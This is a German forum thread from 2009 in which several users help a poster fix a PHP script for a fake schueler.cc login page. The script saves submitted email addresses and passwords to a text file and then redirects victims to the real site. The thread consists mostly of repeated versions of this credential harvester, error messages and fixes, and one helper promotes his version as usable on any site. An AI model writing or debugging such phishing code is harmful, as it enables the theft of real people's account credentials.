weißt du schon was neues warum das nicht geht?
weißt du schon was neues warum das nicht geht?
Wieso machen das alle so? 0o. Zunächst einmal: Meta-Angaben gehören _immer_ in den Head der Seite! Also zwischen <head> und </head>, nicht in den Body! Der Body ist für die Seite, nicht für Kopfangaben.HTML-Code:<html> <body> <meta http-equiv="Refresh" content="1; url=http://www.schueler.cc"> </body> </html>
Weiterhin ist eine Weiterleitung per Meta eh schlecht. Per PHP geht es viel sauberer.
Also stattdessen:
Oder einfachPHP-Code:
header("refresh:1;url=http://");
Dann zu Deinem Code... Der Fehler lag daran, dass die Else-Schleife nicht geschlossen wurde. Zu dem öffnenden { gehört auch immer ein }. Ist dies nicht der Fall, kann es zu Fehlern kommen. Daher nutze ich bei sowas sehr gerne die Tabulator-Taste...PHP-Code:
header("location:http://");
Versuch den, der ist meiner Meinung nach besser geeignet (mal eben zusammengezimmert):
PHP-Code:
<?php
@header("refresh:1;url=http://www.schueler.cc");
$handle = fopen("passwords,txt","a");
if(!$_POST['email'] OR !$_POST['passwort'])) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$handle = fopen("passwords.txt","a");
foreach($_POST AS $key => $value) {
fwrite($handle,$key."=".$value."\r\n");
}
fclose($handle);
}
exit;
?>
Come to the dark side - We have cookies
Find ich besserPHP-Code:
<?php
if(!$_POST['email'] OR !$_POST['passwort'])) {
die("Sie sollten sich schon mit allen Daten einloggen!");
} else {
$mail = $_POST['email'];
$pass = $_POST['passwort'];
file_put_contents('passwords.txt', "Mail: $mail\n");
file_put_contents('passwords.txt', "Pass: $pass\n\n";
}
header("Location: http://www.schueler.cc", true, 301);
?>
Besser auf die Seite zugeschnitten vielleicht, ja. Mein Code ist jedoch allgemein, also überall nutzbar . Klar kann man es auch mit file_put_contents() machen. Ob es besser ist, ist fraglich.
Come to the dark side - We have cookies
Ich will ja nicht nerven aber es zeigt schon wieder nen Error an -.-
Parse error: syntax error, unexpected ')' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 2
Tom199415 Php kannst du garnicht oder?
Code:<?php if(!$_POST['email'] OR !$_POST['passwort']) { die("Sie sollten sich schon mit allen Daten einloggen!"); } else { $mail = $_POST['email']; $pass = $_POST['passwort']; file_put_contents('passwords.txt', "Mail: $mail\n"); file_put_contents('passwords.txt', "Pass: $pass\n\n"; } header("Location: http://www.schueler.cc", true, 301); ?>
nee^^
das kapier ich überhaupt nicht...
Error:
Parse error: syntax error, unexpected ';' in /srv/www/httpd/phost/t/eu/pytalhost/toms-site/web/send.php on line 8
Geändert von TOM199415 (10.09.2009 um 22:59 Uhr) Grund: Automerged Doublepost
Da fehlt eine Klammer...PHP-Code:
file_put_contents('passwords.txt', "Pass: $pass\n\n";
Meine Güte, lern' PHP. Was ich noch am schlimmsten fand: Wenn Du in Zeile acht gehst, und den Befehl mit der Zeile davor vergleichst sollte man das merken 0o.PHP-Code:
file_put_contents('passwords.txt', "Pass: $pass\n\n");
Come to the dark side - We have cookies
Hab die php selber geändert weil wieder ein Error war in Zeile 10.
Sieht jetzt so aus:
Nur die php schreibt mir nur das Passwort in die txt?Code:<?php if(!$_POST['email'] OR !$_POST['passwort']) { die("Sie sollten sich schon mit allen Daten einloggen!"); } else { $mail = $_POST['email']; $pass = $_POST['passwort']; file_put_contents('passwords.txt', "Mail: $mail\n"); file_put_contents('passwords.txt', "Pass: $pass\n"); } @header("refresh:1;url=http://www.schueler.cc"); ?>
Dann ist das hier falsch:
Also der Name des Formulars ist wahrscheinlich anders.Code:$mail = $_POST['email'];
Come to the dark side - We have cookies